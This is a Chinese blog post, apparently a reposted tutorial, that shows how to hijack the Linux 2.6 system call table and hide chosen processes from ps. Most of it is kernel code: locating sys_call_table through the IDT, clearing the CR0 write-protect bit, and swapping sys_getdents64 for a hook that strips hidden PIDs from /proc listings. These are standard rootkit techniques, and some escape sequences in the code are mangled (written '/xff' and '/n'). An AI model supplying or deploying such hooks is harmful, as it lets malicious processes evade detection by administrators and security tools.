您的位置:首页 > 运维架构 > Linux

Linux 2.6 劫持系统调用 隐藏进程

2016-03-04 13:50 585 查看

Linux 2.6 劫持系统调用 隐藏进程

标签: linuxsystemtablestructhooklinux内核
2011-02-20 14:24 4452人阅读 评论(0) 收藏 举报

版权声明:本文为博主原创文章,未经博主允许不得转载。

一、原理

Intel x86系列微机支持256种中断,为了使处理器比较容易地识别每种中断源,把它们从0~256编号,即赋予一个中断类型码n,Intel把它称作中断向量。

而Linux中的系统调用使用的是128号,即0x80号中断,所有的系统调用都是通过唯一的入口system_call()来进入内核,当用户动态进程执行一条int 0x80汇编指令时,CPU就切换到内核态,并开始执行system_call()函数,system_call()函数再通过系统调用表 sys_call_table来取得相应系统调用的地址进行执行。

系统调用表sys_call_table中存放所有系统调用函数的地址,每个地址可以用系统调用号来进行索引,例如sys_call_table[NR_fork]索引到的就是系统调用sys_fork()的地址。(arch/i386/kernel/syscall_table.S)

Linux用中断描述符(8字节)来表示每个中断的相关信息,其格式如下:

31…16 15…0

偏移量

一些标志、类型码及保留位

段选择符

偏移量

所有的中断描述符存放在一片连续的地址空间中,这个连续的地址空间称作中断描述符表(IDT),在保护模式下,中断描述附表可能位于物理内存的任何地方。处理器有一个特殊的寄存器 IDTR,用来存储中断描述附表的起始地址与大小。这个IDTR的格式为:

47…16 15…0

32位基址值  

界限

当产生一个中断时,处理器会将中断号乘以8然后加到中断描述符表的基址上。然后验证产生的结果地址位于中断描述附表内部(利用表的起始地址与长度)。如果产生的地址没有位于中断描述符表的内部,将产生一个异常。如果产生的地址正确,存储在描述附表中的 8-byte 的描述符会被 CPU 加载并执行。

通过上面的说明可以得出通过IDTR寄存器来找到system_call()函数地址的方法:根据IDTR寄存器找到中断描述符表,中断描述符表的第0x80项即是system_call()函数的地址。

在这里我们已经知道怎么获得了system_call()的方法,那如何获得sys_call_table的地址呢?

我们看看system_call()的源代码:

[c-sharp] view plain copy

# system call handler stub
ENTRY(system_call)
pushl %eax # save orig_eax
SAVE_ALL
GET_THREAD_INFO(%ebp)
# system call tracing in operation / emulation
/* Note, _TIF_SECCOMP is bit number 8, and so it needs testw and not testb */
testw $(_TIF_SYSCALL_EMU|_TIF_SYSCALL_TRACE|_TIF_SECCOMP|_TIF_SYSCALL_AUDIT),TI_flags(%ebp)
jnz syscall_trace_entry
cmpl $(nr_syscalls), %eax
jae syscall_badsys
syscall_call:
call *sys_call_table(,%eax,4)//这就是sys_call_table的地址
movl %eax,EAX(%esp) # store the return value

我们找到了sys_call_table的在代码的位置,因此通过下面指令,找出sys_call_table的指令码

$ cd /usr/src/<linux-version>

$ gdb -q vmlinux

$ disass sys_call_table



$ x/xw syscall_call+0



下面就是通过查找0x408514ff这个指令来得到*sys_call_table 的值,以上我们便可以找到sys_call_table。

Linux 系统中用来查询文件信息的系统调用是sys_getdents64,这一点可以通过strace来观察到,例如strace ps 将列出命令ps用到的系统调用,从中可以发现ps是通过sys_getedents64来执行操作的。当查询文件或者目录的相关信息时,Linux系统用 sys_getedents64来执行相应的查询操作,并把得到的信息传递给用户空间运行的程序,所以如果修改该系统调用,去掉结果中与某些特定文件的相关信息,那么所有利用该系统调用的程序将看不见该文件,从而达到了隐藏的目的。首先介绍一下原来的系统调用,其原型为:

int sys_getdents64(unsigned int fd, struct linux_dirent64 *dirp,unsigned int count)
其中fd为指向目录文件的文件描述符,该函数根据fd所指向的目录文件读取相应dirent结构,并放入dirp中,其中count为dirp中返回的数据量,正确时该函数返回值为填充到dirp的字节数。
因此,只需要把上述的sys_getdents64替换成自己写的hacked_getdents函数,对隐藏的进程进行过滤,从而实现进程的隐藏。

在hacked_getdents函数中,怎么对隐藏的进程进行过滤呢?

由于在Linux中不存在直接查询进程信息的系统调用,类似于ps这样查询进程信息的命令是通过查询proc文件系统来实现的,由于proc文件系统它是应用文件系统的接口实现,因此同样可以用隐藏文件的方法来隐藏proc文件系统中的文件,只需要在上面的hacked_getdents中加入对于proc文件系统的判断即可。

由于proc是特殊的文件系统,只存在于内存之中,不存在于任何实际设备之上,所以Linux内核分配给它一个特定的主设备号0以及一个特定的次设备号3, 除此之外,由于在外存上没有与之对应的i节点,所以系统也分配给它一个特殊的节点号PROC_ROOT_INO(值为1),而设备上的1号索引节点是保留 不用的。

通过上面的分析,可以得出判断一个文件是否属于proc文件系统的方法:

1)得到该文件对应的fstat结构fbuf;

2) if (fbuf->ino == PROC_ROOT_INO && !MAJOR(fbuf->dev) && MINOR(fbuf->idev) == 3)

{该文件属于proc文件系统}

通过上面的分析,给出隐藏特定进程的伪代码表示:

[c-sharp] view plain copy

hacket_getdents(unsigned int fd,
struct dirent *dirp, unsigned int count)
{
调用原来的系统调用;
得到fd所对应的节点;
If(该文件属于proc文件系统的进程文件&&该进程需要隐藏)
{
从dirp中去掉该文件相关信息
}
}

以上便是通过劫持系统调用而实现隐藏进程的原理!

二 、实现

本人比较懒,懒得再重新设置进程的hide变量,于是在之前的一篇文章《linux 隐藏进程-crux实现》基础上进行修改(url:http://blog.csdn.net/billpig/archive/2010/11/26/6038330.aspx),使得内核能够同时支持本文的方法及前篇文章的方法。为了区分开两种方法,在include/linux/文件夹下添加hide.h头文件。

[c-sharp] view plain copy

#ifndef HIDE
#define HIDE
#define USE_HOOK //使用第二种方法
//#define USE_PROC //使用第一种方法,该语句和上一句只能选其一
#endif

在hide.h选择隐藏文件的方式后,在linux内核文件目录下,执行make bzImage,然后把得到的内核加入grub目录。分别设置不同的隐藏方式即可得到不同方法所得到的内核。

2.1 修改前一篇文章 /proc

修改前一篇文件/proc的代码,使得不会影响本文代码的实现(因为前篇文章已经实现进程隐藏了,再次隐藏无意义),于是修改fs/proc/base.c的proc_pid_readdir()的代码如下:

[c-sharp] view plain copy

/* for the /proc/ directory itself, after non-process stuff has been done */
int proc_pid_readdir(struct file * filp, void * dirent, filldir_t filldir)
{
unsigned int tgid_array[PROC_MAXPIDS];
char buf[PROC_NUMBUF];
unsigned int nr = filp->f_pos - FIRST_PROCESS_ENTRY;
unsigned int nr_tgids, i;
int next_tgid;
#ifdef USE_PROC
task_t *task; //declare a task_struct
#endif
if (!nr) {
ino_t ino = fake_ino(0,PROC_TGID_INO);
if (filldir(dirent, "self", 4, filp->f_pos, ino, DT_LNK) < 0)
return 0;
filp->f_pos++;
nr++;
}
/* f_version caches the tgid value that the last readdir call couldn't
* return. lseek aka telldir automagically resets f_version to 0.
*/
next_tgid = filp->f_version;
filp->f_version = 0;
for (;;) {
nr_tgids = get_tgid_list(nr, next_tgid, tgid_array);
if (!nr_tgids) {
/* no more entries ! */
break;
}
next_tgid = 0;
/* do not use the last found pid, reserve it for next_tgid */
if (nr_tgids == PROC_MAXPIDS) {
nr_tgids--;
next_tgid = tgid_array[nr_tgids];
}
for (i=0;i<nr_tgids;i++) {
int tgid = tgid_array[i];
ino_t ino = fake_ino(tgid,PROC_TGID_INO);
unsigned long j = PROC_NUMBUF;
#ifdef USE_PROC
//get task_struct from pid
task = find_task_by_pid(tgid);
#endif
do
buf[--j] = '0' + (tgid % 10);
while ((tgid /= 10) != 0);
//task = find_task_by_pid(tgid);
#ifdef USE_PROC
printk(KERN_ALERT "pid:%d, hide:%d/n", task->pid, task->hide);
//if task is not hide, then add to /proc
if(task != NULL && task->hide == 0)
{
printk(KERN_ALERT "task:%d no hide/n", task->pid);
#endif
if (filldir(dirent, buf+j, PROC_NUMBUF-j, filp->f_pos, ino, DT_DIR) < 0) {
/* returning this tgid failed, save it as the first
* pid for the next readir call */
filp->f_version = tgid_array[i];
goto out;
}
#ifdef USE_PROC
}
filp->f_pos++;
nr++;
#endif
}
}
out:
return 0;
}

2.2 本文方法的实现

2.2.1 hook.c

在2.1中去除掉了修改后的/proc代码对本文的影响,接下来便实现在第一部分内容原理的代码。

于是,在kernel目录下创建hook.c文件,具体内容如下:

[c-sharp] view plain copy

#include <linux/module.h>
#include <linux/kernel.h>
#include <asm/unistd.h>
#include <linux/types.h>
#include <linux/sched.h>
#include <linux/dirent.h>
#include <linux/string.h>
#include <linux/file.h>
#include <linux/list.h>
#include <asm/uaccess.h>
#include <linux/unistd.h>
#include <linux/stat.h>
#include <linux/proc_fs.h>
#include <linux/sched.h>
#include <linux/hide.h>
#define CALLOFF 100
//定义 idtr and idt struct
struct{
unsigned short limit;
unsigned int base;
}__attribute__((packed))idtr;
struct{
unsigned short off_low;
unsigned short sel;
unsigned char none, flags;
unsigned short off_high;
}__attribute__((packed))*idt;
/*
struct linux_dirent64{
u64 d_ino;
s64 d_off;
unsigned short d_reclen;
unsigned char d_type;
char d_name[1];
};*/
//定义函数指针,指向被劫持的系统调用
asmlinkage long (*orig_getdents)(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count);
int orig_cr0;
void ** system_call_table;
//获得system_call函数地址
void * get_system_call(void)
{
void * addr = NULL;
asm("sidt %0":"=m"(idtr));
idt = (void*) ((unsigned long*)idtr.base);
addr = (void*) (((unsigned int)idt[0x80].off_low) | (((unsigned int)idt[0x80].off_high)<<16 ));
return addr;
}
//查找sys_call_table
char * findoffset(char * start)
{
char *p;
for(p=start; p < start + CALLOFF; p++){
if(*(p+0) == '/xff' && *(p+1) == '/x14' && *(p+2) == '/x85')
return p;
}
return NULL;
}
//获得sys_call_table的地址
void ** get_system_call_addr(void)
{
unsigned long sct = 0;
char * p;
unsigned long addr = (unsigned long)get_system_call();
if((p=findoffset((char*) addr)))
{
sct = *(unsigned long*)(p+3);
printk(KERN_ALERT "find sys_call_addr: 0x%x/n", (unsigned int)sct);
}
return ((void **)sct);
}
//清除和返回cr0
unsigned int clear_and_return_cr0(void)
{
unsigned int cr0 = 0;
unsigned int ret;
asm volatile ("movl %%cr0, %%eax"
:"=a"(cr0));
ret = cr0;
cr0 &= 0xfffeffff;
asm volatile ("movl %%eax, %%cr0"
::"a"(cr0));
return ret;
}
//设置cr0
void setback_cr0(unsigned int val)
{
asm volatile ("movl %%eax, %%cr0"
::"a"(val));
}
//char* 转换为 int
int atoi(char *str)
{
int res = 0;
int mul = 1;
char *ptr;
for(ptr = str + strlen(str)-1; ptr >= str; ptr--){
if(*ptr < '0' || *ptr > '9')
return -1;
res += (*ptr -'0') * mul;
mul *= 10;
}
return res;
}
//check if process whose pid equals 'pid' is set to hidden
//检查进程号pid是否有设置隐藏
int ishidden(pid_t pid)
{
if(pid < 0)
return 0;
struct task_struct * task = NULL;
task = find_task_by_pid(pid);
// printk(KERN_ALERT "pid:%d,hide:%d/n", pid, task->hide);
if(task != NULL && task->hide == 1){
// printk(KERN_ALERT "pid:%d,task pid:%d,hide:%d/n",pid, task->pid, task->hide);
return 1;
}
return 0;
}
//the hacked sys_getdents64
//劫持后更换的系统调用
asmlinkage long hacked_getdents(unsigned int fd, struct linux_dirent64 __user *dirp, unsigned int count)
{
long value = 0;

unsigned short len = 0;
unsigned short tlen = 0;
// printk(KERN_ALERT "hidden get dents/n");
struct kstat fbuf;
vfs_fstat(fd, &fbuf);//获取文件信息
//printk(KERN_ALERT "ino:%d, proc:%d,major:%d,minor:%d/n", fbuf.ino, PROC_ROOT_INO, MAJOR(fbuf.dev), MINOR(fbuf.dev));
if(orig_getdents != NULL)
{
//执行旧的系统调用
value = (*orig_getdents)(fd, dirp, count);
// if the file is in /proc
//判断文件是否是/proc下的文件
if(fbuf.ino == PROC_ROOT_INO && !MAJOR(fbuf.dev) && MINOR(fbuf.dev) == 3)
{
// printk(KERN_ALERT "this is proc");
tlen = value;
int pid;
while(tlen>0){
len = dirp->d_reclen;
tlen = tlen - len;
// printk(KERN_ALERT "dname:%s,",dirp->d_name);
//获取进程号
pid = atoi(dirp->d_name);
// printk(KERN_ALERT "pid:%d/n", pid);
if(pid != -1 && ishidden(pid))
{
// printk(KERN_ALERT "find process/n");
// //remove the hidden process
//从/proc去除进程文件
memmove(dirp, (char*)dirp + dirp->d_reclen, tlen);
value = value -len;
// printk(KERN_ALERT "hide successful/n");
}
if(tlen)
dirp = (struct linux_dirent64 *)((char*)dirp + dirp->d_reclen);
}
}

}
else
printk(KERN_ALERT "orig_getdents is null/n");

return value;
}
//hook系统调用
asmlinkage long sys_hook(void)
{
#ifdef USE_HOOK
system_call_table = get_system_call_addr();

if(!system_call_table){
return -EFAULT;
}else if(system_call_table[__NR_getdents64] != hacked_getdents)
{
printk(KERN_ALERT "sct:0x%x,hacked_getdents:0x%x/n", (unsigned int)system_call_table[__NR_getdents64],(unsigned int)hacked_getdents);
orig_cr0 = clear_and_return_cr0();

orig_getdents = system_call_table[__NR_getdents64];
// printk(KERN_ALERT "old:0x%x, new:0x%x/n",(unsigned int) orig_getdents, (unsigned int)hacked_getdents);

if(hacked_getdents != NULL)
system_call_table[__NR_getdents64] = hacked_getdents;

setback_cr0(orig_cr0);

return 0;
}else
#endif
return -EFAULT;

}
//unhook系统调用
asmlinkage long sys_unhook(void)
{
#ifdef USE_HOOK
if(system_call_table && system_call_table[__NR_getdents64] == hacked_getdents){
orig_cr0 = clear_and_return_cr0();
system_call_table[__NR_getdents] = orig_getdents;
setback_cr0(orig_cr0);
return 0;
}
#endif
return -EFAULT;
}

然后在修改kernel/Makefile,把hook.o添加入编译选项,使得hook.c代码编译入内核

[c-sharp] view plain copy

...
obj-y = ...
kthread.o wait.o kfifo.o sys_ni.o posix-cpu-timers.o hook.o
...

2.2.2 添加系统调用

接着,就如和前篇文章一样,添加系统调用的头部及相关信息

在include/asm-i386/unistd.h添加系统调用号及系统的调用总数

[c-sharp] view plain copy

#define __NR_hide 294 //add hide sys call no
#define __NR_unhide 295 //add unhide sys call no
#define __NR_hook 296
#define __NR_unhook 297
#define NR_syscalls 298 //modify sys calls

arch/i386/kernel/syscall_table.S在系统调用表中添加相应项,在最后一行添加

[c-sharp] view plain copy

.long sys_hide /*add sys call to sys call table */
.long sys_unhide
.long sys_hook
.long sys_unhook

在include/linux/syscalls.h添加函数声明

[c-sharp] view plain copy

// declare function for added sys call
asmlinkage long sys_hide(void);
asmlinkage long sys_unhide(void);
asmlinkage long sys_hook(void);
asmlinkage long sys_unhook(void);

至此,添加系统调用完成,重新编译内核

三、测试

我们编写了一个测试函数,用来我们修改的内核是否成功,代码hook.c(注意跟内核的hook.c区分开来)如下:

[c-sharp] view plain copy

#include <stdio.h>
#include <sys/types.h>
#include <linux/unistd.h>
#define __NR_hide 294
#define __NR_unhide 295
#define __NR_hook 296
#define __NR_unhook 297
int main(int argc ,char ** argv)
{
int j = 0;
pid_t pid = getpid();
printf("original/n");
system("ps");
//由于使用前篇文章的内容,于是要调用2个系统调用才能隐藏进程
int i = syscall(__NR_hide);
i = syscall(__NR_hook);
printf("hide:/n");
system("ps");
i = syscall(__NR_unhide);
i = syscall(__NR_unhook);
printf("unhide:/n");
system("ps");
return 0;
}

gcc hook.c -o hook后,执行 ./hook ,查看结果如图



4、结束语

这只是实现隐藏的另一种方式,网上实现的拦截系统调用只是简单的拦截而已,没有更深一层的应用,本文也是对隐藏进程的另一种补充。由于只是演示而已,个人觉得采用模块的方式会比较好,因为内核的系统调用代码一般是不会修改的。

参考资料:

[1] Linux2.6内核中劫持系统调用隐藏进程:http://linux.chinaitlab.com/kernel/810229_3.html

[2] 高手过招谈Linux环境下的高级隐藏技术:http://blog.csdn.net/ldong2007/archive/2008/09/03/2874082.aspx

[3] 2.6内恶化里劫持系统调用:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872144.aspx

[4] 2.6版本Linux上替换系统调用函数实现隐藏文件学习:http://blog.csdn.net/ldong2007/archive/2008/09/03/2872077.aspx

版权所有,转载请出明出处!
内容来自用户分享和网络整理,不保证内容的准确性,如有侵权内容,可联系管理员处理 点击这里给我发消息
标签: